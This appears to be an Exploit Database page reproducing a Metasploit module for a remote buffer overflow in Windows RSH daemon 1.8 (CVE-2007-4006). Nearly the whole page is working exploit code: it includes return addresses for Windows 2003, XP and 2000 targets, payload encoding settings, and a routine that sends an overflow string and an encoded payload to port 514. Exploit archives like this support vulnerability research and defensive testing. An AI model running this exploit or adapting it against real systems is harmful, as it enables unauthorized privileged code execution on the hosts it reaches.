Microsoft Windows RSH daemon – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 40 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16427/

• ##
  # $Id: windows_rsh.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Windows RSH daemon Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
  				The vulnerability is due to a failure to check for the length of input sent
  				to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
  				to be successful.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  						['CVE', '2007-4006'],
  						['OSVDB', '38572'],
  						['BID', '25044'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 850,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  						[ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ],
  						[ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ],
  						[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Jul 24 2007',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(514)], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit =(("\x00" + rand_text_english(1)) * 2) + "\x00"
  		sploit << rand_text_english(1024) + [target.ret].pack('V')
  		sploit << payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end